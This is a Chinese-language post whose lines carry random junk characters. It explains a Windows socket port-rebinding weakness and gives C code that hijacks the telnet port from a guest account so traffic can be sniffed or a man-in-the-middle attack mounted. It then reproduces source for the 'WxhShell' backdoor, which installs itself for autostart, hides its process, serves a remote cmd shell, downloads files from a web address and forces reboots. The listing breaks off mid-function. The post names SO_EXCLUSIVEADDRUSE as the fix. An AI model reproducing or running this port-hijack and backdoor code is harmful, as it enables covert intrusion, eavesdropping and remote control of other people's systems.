在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n:X y6H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cZ06Kx.. ,vDbp?)'U saddr.sin_family = AF_INET;
liSmjsk y}H!c; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
x"~JR\yzKJ <QvOs@i* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+v\oOBB) ;PH~<T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z{R> q:(%*sY> 这意味着什么?意味着可以进行如下的攻击:
S[N5 ikg =#\:}@J5I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*](iS ~m |BC*) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;bG>ZqJCVA iB{V^ksU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r3Ykz%6 v:U-6W_)| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5m*,8 ]!- #F#%`Rv1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]tD]Wx% KSvE~h[#+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Uv.)?YeGh 3 Y &d= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&vJH$R pFXEu=$3 #include
w@b)g #include
uc=B,3 #include
Z7#+pPt! #include
Zh,71Umz DWORD WINAPI ClientThread(LPVOID lpParam);
+H.`MZ= int main()
xmG<]WF>E {
yLGRi^d# WORD wVersionRequested;
s>en DWORD ret;
/B3i C#? WSADATA wsaData;
O}P`P'Y|' BOOL val;
KP"+e:a% SOCKADDR_IN saddr;
Gq6*SaTk SOCKADDR_IN scaddr;
"zc l|@ int err;
@oNXZRg6 SOCKET s;
%RVZD#zr SOCKET sc;
pI[uUu7O int caddsize;
j [a(#V{ HANDLE mt;
ebq4g387X DWORD tid;
GeqPRah wVersionRequested = MAKEWORD( 2, 2 );
<GJbmRc| err = WSAStartup( wVersionRequested, &wsaData );
SKtr tm if ( err != 0 ) {
/{[o~:'p printf("error!WSAStartup failed!\n");
So;<6~ return -1;
j+!v}*I![ }
h 0|s saddr.sin_family = AF_INET;
GB^B r6 fOHxtHM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
CAlCDfKW} <$YlH@;)`a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"|NI]Kv saddr.sin_port = htons(23);
=%7-ZH9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}qUX=s
GG {
C^){.UGmJ printf("error!socket failed!\n");
yVfC-Z return -1;
|:o4w }
{vj)76%y val = TRUE;
FwK]$4* //SO_REUSEADDR选项就是可以实现端口重绑定的
yu|>t4#GT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N[hG8f {
m'U0'}Ld}; printf("error!setsockopt failed!\n");
WxDh;*am: return -1;
LD?sh"?b }
/1 dT+> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~Ei<Z`3}7" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3q.q
YX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y2TtY; B?QIN] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o-\[,}T)M {
`^vE9nW7 ret=GetLastError();
km(Po} printf("error!bind failed!\n");
Wqnc{oq|$ return -1;
Sz~OX6L }
PnTu listen(s,2);
+q4O D$} while(1)
[^)g%|W {
OI*H,Z" caddsize = sizeof(scaddr);
G*m0\ //接受连接请求
.}t
e>]A* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9$t(&z= if(sc!=INVALID_SOCKET)
0b>h$OU/ {
-=="<0c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
f3;5Am if(mt==NULL)
' QG?nu {
!if printf("Thread Creat Failed!\n");
/z!%d%" break;
^~dWU> }
x:;kSh }
QZs!{sZ CloseHandle(mt);
Y73C5.dNcE }
oRFq@g closesocket(s);
;jXgAAz7 WSACleanup();
uZ5p#M_ return 0;
D-c4EV }
6<]lW DWORD WINAPI ClientThread(LPVOID lpParam)
zda 3
,U2o {
y `UaB3q SOCKET ss = (SOCKET)lpParam;
:]KAkhFkbb SOCKET sc;
CY1Z' unsigned char buf[4096];
![1rzQvGDb SOCKADDR_IN saddr;
o4X{L`m long num;
Z~CjA%l DWORD val;
WMdg1J+~ DWORD ret;
JI}'dU>*U: //如果是隐藏端口应用的话,可以在此处加一些判断
3$ pX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
l-Z4Mq6*L saddr.sin_family = AF_INET;
/7kC< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p'%s=TGwv saddr.sin_port = htons(23);
WE?5ehEme if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]/Pn
EU[ {
fex@,I&
printf("error!socket failed!\n");
3n _htgcv return -1;
<YY 14p }
>Ry01G]_/h val = 100;
*pq\MiD/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!a`&O-ye {
N)T}P\l ret = GetLastError();
]esC[r]PJ return -1;
^sw?gH* }
EwN}l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aOp\91
{
wT@og|M ret = GetLastError();
d-qUtgqV86 return -1;
b9krOe*j }
S'" Df5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6Oq7#3] {
UNYqft4 printf("error!socket connect failed!\n");
#e"[^_C@! closesocket(sc);
"sTRS* closesocket(ss);
)8AXm return -1;
@]j1:PN-
}
A"]YM'. while(1)
^W^OfY {
@dKTx#gZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s<Ziegmw|g //如果是嗅探内容的话,可以再此处进行内容分析和记录
+>,I1{u%& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m`XHKRp num = recv(ss,buf,4096,0);
3BI1fXT4=j if(num>0)
qPNR`%}Q send(sc,buf,num,0);
R_C) else if(num==0)
_f83-':W6 break;
^('wy}; num = recv(sc,buf,4096,0);
%EH)&k if(num>0)
F5<Hm_\: send(ss,buf,num,0);
V0@=^Bls else if(num==0)
LV Ge]lD break;
Xvu(vA }
vP&(-a closesocket(ss);
!0+JbZ<%r| closesocket(sc);
1M 6D3d_ return 0 ;
a(nlTMfu }
dd;~K&_Q/i ?9/G[[( o&%g8=n% ==========================================================
:Ye !w$r 4s-!7 下边附上一个代码,,WXhSHELL
e
,(mR+a8 **%37 ==========================================================
kVgTGC"L=
"jZ-,P= #include "stdafx.h"
.#gzP2 [q Ui~>SN>s #include <stdio.h>
@"A4$`Xi3 #include <string.h>
oR'm2d ^ #include <windows.h>
b6bHTH0 #include <winsock2.h>
(QEG4&9 #include <winsvc.h>
0mE 0 j #include <urlmon.h>
L!9 2P{ K >:-$+I #pragma comment (lib, "Ws2_32.lib")
)9g2D`a4 #pragma comment (lib, "urlmon.lib")
9[4xFE?| e'~3oqSvR #define MAX_USER 100 // 最大客户端连接数
I7onX,U+ #define BUF_SOCK 200 // sock buffer
M`_0C38
#define KEY_BUFF 255 // 输入 buffer
Jy)/%p~ F9PxSk_\9 #define REBOOT 0 // 重启
itz,mrP #define SHUTDOWN 1 // 关机
sHj/; 00(\ZUj #define DEF_PORT 5000 // 监听端口
_a, s
) vM={V$D& #define REG_LEN 16 // 注册表键长度
Z,gk|M3. #define SVC_LEN 80 // NT服务名长度
j 7B!h| 0GwR~Z}Z // 从dll定义API
).O)p9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*. t^MP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+ {]j]OP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iZmcI;?u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=pNY
eR_[ UKGPtKE< // wxhshell配置信息
*~`(RV struct WSCFG {
:jf3HG int ws_port; // 监听端口
&{:-]g\ char ws_passstr[REG_LEN]; // 口令
gXU8hTd8 int ws_autoins; // 安装标记, 1=yes 0=no
u8^lB7!e/ char ws_regname[REG_LEN]; // 注册表键名
7GGUV char ws_svcname[REG_LEN]; // 服务名
(Ld i|jL char ws_svcdisp[SVC_LEN]; // 服务显示名
Iu{V,U char ws_svcdesc[SVC_LEN]; // 服务描述信息
k6^Z~5
Sy char ws_passmsg[SVC_LEN]; // 密码输入提示信息
TeQV?ZQ#} int ws_downexe; // 下载执行标记, 1=yes 0=no
\U0Q<ot/7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S:}7q2: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'u658Tj )b)z m2; };
/v }`l *8q.YuZ // default Wxhshell configuration
+ZYn? #IQ struct WSCFG wscfg={DEF_PORT,
f$( e\++ "xuhuanlingzhe",
6!o1XQr=Z 1,
hTkyz
la "Wxhshell",
7)m9"InDI "Wxhshell",
bt *k.=p "WxhShell Service",
_F{C\} "Wrsky Windows CmdShell Service",
KoY F] "Please Input Your Password: ",
1YA% -~ 1,
Ac6=(B "
http://www.wrsky.com/wxhshell.exe",
E`q_bn "Wxhshell.exe"
Rcv9mj]l };
13PS2 i4Jc.8^9$ // 消息定义模块
QJNFA}*> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qR.Q,(b| char *msg_ws_prompt="\n\r? for help\n\r#>";
-&f$GUTJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<{pz<io) char *msg_ws_ext="\n\rExit.";
wr4:Go` char *msg_ws_end="\n\rQuit.";
c,22*.V/ char *msg_ws_boot="\n\rReboot...";
?"FbsMk.d char *msg_ws_poff="\n\rShutdown...";
l%ZhA=TKQ char *msg_ws_down="\n\rSave to ";
!wNO8;( 67TwPvh char *msg_ws_err="\n\rErr!";
Q\)F;: | char *msg_ws_ok="\n\rOK!";
Mtv?:q |%wX*zaf char ExeFile[MAX_PATH];
8fb'yjIC int nUser = 0;
^{{ qV HANDLE handles[MAX_USER];
S'14hk< int OsIsNt;
JRFtsio* "L1Zi.) SERVICE_STATUS serviceStatus;
zQA`/&=Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
zL it &zs$x?/ // 函数声明
BHw, 4#F1; int Install(void);
5r_|yu int Uninstall(void);
Wm|lSisY int DownloadFile(char *sURL, SOCKET wsh);
M;NX:mX9 int Boot(int flag);
r/sNrB1U"y void HideProc(void);
sGb{9.WK int GetOsVer(void);
__@BUK{ q int Wxhshell(SOCKET wsl);
G`zm@QL void TalkWithClient(void *cs);
G
j1_!.T int CmdShell(SOCKET sock);
z=FZiH int StartFromService(void);
OTp]Xe/ int StartWxhshell(LPSTR lpCmdLine);
*kVV+H<X|b @6d[=!9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
V:27)]q VOID WINAPI NTServiceHandler( DWORD fdwControl );
w*!aZ,P b2]Kx&! // 数据结构和表定义
DJ%PWlK5 SERVICE_TABLE_ENTRY DispatchTable[] =
]{ kPrey {
i&k7-< {wscfg.ws_svcname, NTServiceMain},
\f)#>+X- {NULL, NULL}
9akH };
rbQR,Nf2x 8] ikygt" // 自我安装
E e]-qN*8 int Install(void)
KU;9}!# {
5coZ|O&f8 char svExeFile[MAX_PATH];
*qMY22X HKEY key;
SB7c.H, strcpy(svExeFile,ExeFile);
p8Q1-T3v +*^H#|! // 如果是win9x系统,修改注册表设为自启动
TPY}C if(!OsIsNt) {
qFNes)_r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2
FFD%O05 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iX\X>W$P RegCloseKey(key);
BB'OCN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H.2QKws^F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;GI&lpKK RegCloseKey(key);
UDni]P!E return 0;
"nWw;-V}} }
BUR*n;V` }
N?>vd* }
8*fv' else {
rbCAnwA2 %[yJ4WL // 如果是NT以上系统,安装为系统服务
rD>f|kA?L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
e]tDy0@ if (schSCManager!=0)
* H9 8Du {
@vB!u[{ SC_HANDLE schService = CreateService
^VACf|0 (
""D 4s schSCManager,
WT}H>T wscfg.ws_svcname,
-GgA&dh wscfg.ws_svcdisp,
LrK,_)r:~ SERVICE_ALL_ACCESS,
+@:x!q|^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|&[EZ+[ SERVICE_AUTO_START,
+'@Dz9:> SERVICE_ERROR_NORMAL,
AFfAtu svExeFile,
So
5N5,u@= NULL,
->{KVPHe{ NULL,
e*n@j NULL,
$a%MOKr NULL,
wuqJr:q*# NULL
^Q^_?~h*! );
\r>6`-cs] if (schService!=0)
*cnNuT {
vA.MRu# CloseServiceHandle(schService);
9<)NvU^-r CloseServiceHandle(schSCManager);
y#$CMf
-q^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c{LO6dNg\z strcat(svExeFile,wscfg.ws_svcname);
:Xd<74Nu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=6#Eh=7N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!&Pui{F RegCloseKey(key);
=4!e&o return 0;
!7&5` q7 }
9RI-Lq` }
wg]LVW} CloseServiceHandle(schSCManager);
9
5RBO4w%w }
)@'}\_a3[] }
E`k@{*Hn& ~BkCp pI return 1;
9]wN Bd }
FtC^5{V+V ?8Cq{ // 自我卸载
mS~kJy_- int Uninstall(void)
f8.gT49I {
f:.I0 ST HKEY key;
Nm>A'bLM Q'mM3pq4r if(!OsIsNt) {
!o[7wKrXb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Oh\<VvZuN RegDeleteValue(key,wscfg.ws_regname);
=k:,qft2 RegCloseKey(key);
M_w<m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r!a3\ep RegDeleteValue(key,wscfg.ws_regname);
a,#j = RegCloseKey(key);
L4|`;WP return 0;
0|\$Vp }
}t1a*z }
SrK<fAkx }
FzXJ]H else {
,V:SN~P66+ ""QP% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M b1sF if (schSCManager!=0)
JNUt$h {
B=A [ymm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*lw_=MXSK if (schService!=0)
o W Nh@C {
&;sP_ h if(DeleteService(schService)!=0) {
JOLaP@IPT CloseServiceHandle(schService);
LRG6:& CloseServiceHandle(schSCManager);
fG(SNNl+D return 0;
c[1oww }
/U)D5ot< CloseServiceHandle(schService);
|(LZ9I }
{"QNJq#: CloseServiceHandle(schSCManager);
q Xe8Kto }
`o8/(`a }
RnI&8 `LE6jp3, return 1;
)i^<r ;_z }
hP)LY=-2 0C6-GKbZ // 从指定url下载文件
2M'[,Xe int DownloadFile(char *sURL, SOCKET wsh)
:GP]P^M;G@ {
y)!5R 3b HRESULT hr;
T7u%^xm char seps[]= "/";
'>0fWBs char *token;
$!yW_HTx char *file;
a^zibPG char myURL[MAX_PATH];
sCk? char myFILE[MAX_PATH];
4 k _vdz {Um)15K strcpy(myURL,sURL);
,+xB$e token=strtok(myURL,seps);
O-I[igNl while(token!=NULL)
f;gw"onx8F {
T<p !5`B 1 file=token;
EYEnN token=strtok(NULL,seps);
h+&OQ%e=8 }
&NK,VB; DLMM/WJg@ GetCurrentDirectory(MAX_PATH,myFILE);
=U|.^5sa# strcat(myFILE, "\\");
VAf1 " )pC strcat(myFILE, file);
;he"ph=> send(wsh,myFILE,strlen(myFILE),0);
,N[7/kT| send(wsh,"...",3,0);
LNpup`>` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#32"=MfQn if(hr==S_OK)
-pGE]nwDL return 0;
Y>G@0r BG else
,TN
2 return 1;
w6GyBo{2O_ DYxCQ
D }
[@b&? b~K iIa'2+ // 系统电源模块
e`TH91@ int Boot(int flag)
;y\IqiA{o {
5^lxj~ F HANDLE hToken;
V7P&%oz{C TOKEN_PRIVILEGES tkp;
au=o6WRa Hx*;jpy(2 if(OsIsNt) {
tEK my7'# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G) 7;; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Q[pV!CH tkp.PrivilegeCount = 1;
^,8)iV0j_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M)N?qRD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
LBsluT if(flag==REBOOT) {
HO%wHiv1X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\cUNsB5 return 0;
4/1d&Sg }
WP+oFkw> else {
f Tl<p&b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,:H\E|XeBw return 0;
FUOI3 }
b6F4>@gjg }
^1aAjYFn else {
ReI/]#Us if(flag==REBOOT) {
Hp|_6hO 2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4 G-wd return 0;
"a"]o }
-VTkG]{`Ir else {
'BPp ]R#{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7MHKeLq return 0;
rIhl.5Y }
i2(1ki/|O }
s,n0jix@ ^!z[t\$ return 1;
<$~mE9a6 }
i Ae<&Ms \\7ZWp\fN // win9x进程隐藏模块
YmgLzGk` void HideProc(void)
Vq;A>
{
?yR&/a 1ilBz9x*! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Upd3-2kr&J if ( hKernel != NULL )
@8^[!F {
T {Uc:Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c|62jY"$-2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*2Ht& FreeLibrary(hKernel);
rZ^v?4Z\ }
\z7SkZt,GT rT5Ycm@ return;
9Z'8!$LYg }
tAte)/0C lh D,\3/O // 获取操作系统版本
9Fm"ei int GetOsVer(void)
e9[|!/./5 {
D]~MC OSVERSIONINFO winfo;
_DNHc* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j;3[KLmuK% GetVersionEx(&winfo);
^? ]%sdT q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Yvjc1 return 1;
-'BA{#e}L else
$.v5~UGb{\ return 0;
$K'|0 }
,gOOiB
} sWblFvHqrU // 客户端句柄模块
SD$h@p=!= int Wxhshell(SOCKET wsl)
x,S
P'fcP {
k]HEhY SOCKET wsh;
g[7#w,o struct sockaddr_in client;
Za8#$`zq DWORD myID;
-3lb@ 6I6 <_Q:'cx' while(nUser<MAX_USER)
hq/k*; {
MxcFvo*LCp int nSize=sizeof(client);
wz.6du6- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eT8} if(wsh==INVALID_SOCKET) return 1;
mJ`A_0 {aJJ`t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>Ll$p0W if(handles[nUser]==0)
@wC5 g 4E closesocket(wsh);
`8>Py~ else
9*=W- v nUser++;
e|D;OM }
mL`5 uf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Eb>78k(3I) (S`2[.j return 0;
S (N\cw$ }
1=a>f"cyf vp crPVA^ // 关闭 socket
@%lBrM void CloseIt(SOCKET wsh)
BC;: {
-x4X O`b closesocket(wsh);
lF?tQB/a nUser--;
u% n*gcY ExitThread(0);
xOHgp=#D }
;6{@^ ee#):
-p // 客户端请求句柄
`VL}.h void TalkWithClient(void *cs)
^~HQC* {
u@%r BEgV^\u SOCKET wsh=(SOCKET)cs;
:C8$Xi_i} char pwd[SVC_LEN];
"y<?Q}1 char cmd[KEY_BUFF];
wL^%w9q- char chr[1];
Q\,o:ZU_ int i,j;
9bq<GC'eX8 b(I2m while (nUser < MAX_USER) {
)&<=.q 3 Lsj}p if(wscfg.ws_passstr) {
}Lw>I94e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Wt9Q;hK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
awUx=%ERtA //ZeroMemory(pwd,KEY_BUFF);
R?EASc!b i=0;
I;?X f while(i<SVC_LEN) {
[
dE.[ zn@N'R/ // 设置超时
(x$9~;<S*d fd_set FdRead;
|fY/i]
Ax struct timeval TimeOut;
KB!|B.ChN( FD_ZERO(&FdRead);
;eZ#b jw-d FD_SET(wsh,&FdRead);
$eBX TimeOut.tv_sec=8;
FHPXu59u TimeOut.tv_usec=0;
!HJ$UG/\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)I-f U4? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7 #=}:3c A=-F,=k(!/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
gxGrspqg pwd
=chr[0]; lw(e3j
if(chr[0]==0xd || chr[0]==0xa) { U70]!EaT
pwd=0; PSmfiaThwo
break; 0G2g4DSKD
} Zf>^4_x3P
i++; (?b@b[D~4
} A;u" <KG?
}Y17*zp%
// 如果是非法用户,关闭 socket xyE1Gw`V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L~^*u_U]
} M-uMZQe
lRP1&FH0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $8BE[u|H2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U`x bPQ
Q\3 Z|%
while(1) { 1Fi86
qJ_1*!!91
ZeroMemory(cmd,KEY_BUFF); Sm2>'C
8Z2.`(3c[
// 自动支持客户端 telnet标准 l**;k+hw
j=0; RP`2)/sMT
while(j<KEY_BUFF) { \ M/6m^zS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $,hwU3RVxc
cmd[j]=chr[0]; [&qA\
if(chr[0]==0xa || chr[0]==0xd) { 2`=6 %s
cmd[j]=0; :;!\vfZbU
break; 'iLH `WE
} {hO`6mr&t
j++; t=#Pya
} S2VVv$r_6
Q^Bt1C
// 下载文件 D["MUB4l
if(strstr(cmd,"http://")) { vG2b:[W
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @)8]e
S7
if(DownloadFile(cmd,wsh)) XO
F1c3'H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #m8sK(#lo
else p'{xoV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,goBq3[%?
} &(xUhX T
else { hD<f3_k
XL}<1-}
switch(cmd[0]) { L6i|:D32p
!=*.$4
// 帮助 (a6?s{(
case '?': { m^{
xd2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )-/gLZsx
break; 4rU!4l
} G7* h{nE
// 安装 cUDg M
case 'i': { !@
YXZ
if(Install()) nD,{3B#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K.SeK3(
else y^FOsr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _hCJ|Rrln
break; IdM*5Y>f
} YJ2ro-X
// 卸载 []&(D_e"
case 'r': { 9F+ P@Kp
if(Uninstall()) YbMssd2Yg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R_G{%
else cQFR]i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); twk&-:'
break; H*W):j}8
} %>XN%t'6aT
// 显示 wxhshell 所在路径 | D.C!/69
case 'p': { s!6=|SS7
char svExeFile[MAX_PATH]; p#_[
strcpy(svExeFile,"\n\r"); `!w^0kZ
strcat(svExeFile,ExeFile); 8t.dPy<
send(wsh,svExeFile,strlen(svExeFile),0); N)43};e
break; qvLDfN
} C 7nKk/r
// 重启 !g0cC.'
case 'b': { XSB8z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?(im+2
if(Boot(REBOOT)) -rDz~M+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |tG+iF@4
else { T 0 FZ7
closesocket(wsh); 9[|4[3K
ExitThread(0); (buw^
,NwZ
} Qp!Y.YnPd_
break; *PM}"s
} z*.v_Mx
// 关机 "jZm0U$,*
case 'd': { Qm);6X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C;sgK
if(Boot(SHUTDOWN)) =%h~/,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nN ~GP"}
else { [a8+(
closesocket(wsh); }#aKFcvg
ExitThread(0); Ob(leL>ow
} MtG_9-
break; _@ i>s,
} 9!t4>
// 获取shell A'DVJ9%xB
case 's': { )DZTB
CmdShell(wsh); E8tD)=1
closesocket(wsh); .k]#XoE
ExitThread(0); jpO38H0)
break; IH3FK!>6
} BQ#jwu0e
// 退出 j+1KNH
case 'x': { L<@&nx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #K`B<2+T
CloseIt(wsh); ,35Ag#va
break; h3h8lt_|
} #'NY}6cb$
// 离开 Cj$H[K}>
case 'q': { 2k3 z'RLG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`C.ha
closesocket(wsh); {Tx 3$eU
WSACleanup(); \G=bj;&eF
exit(1); ' PL_~
break; '
C6:e?R
} 8DT@h8tA
} 7z>+w
} drX4$Kdf]
c'lIWuL)
// 提示信息 y<uE-4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *(VbPp_H_
} L)G">T;
} Hc
/wta
d5q4'6o,
return; 9T]va]w?#
} 9H8=eJd
|Rk37P{
// shell模块句柄 4Qhx[Hv>(
int CmdShell(SOCKET sock) S
`wE$so>
{ S r[IoF)
STARTUPINFO si; 9 G((wiE
ZeroMemory(&si,sizeof(si)); DlS&qFs
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xi*SDy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &{hc
PROCESS_INFORMATION ProcessInfo; (mY(\mu}
char cmdline[]="cmd"; -|$* l
Q
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TwwIt5_fN
return 0; 1+FYjh!2t
} @ p"NJx"
hF9B?@n?B
// 自身启动模式 [5-!d!a|st
int StartFromService(void) &?v#| qIh
{ {z-NlH
typedef struct }7&\eV{qU
{ 4Z],+?.[
DWORD ExitStatus; H7J`]nr6
DWORD PebBaseAddress; taBO4LV
DWORD AffinityMask; 3lyQn"
DWORD BasePriority; _i.({s&_9
ULONG UniqueProcessId; tc5M$b3^2
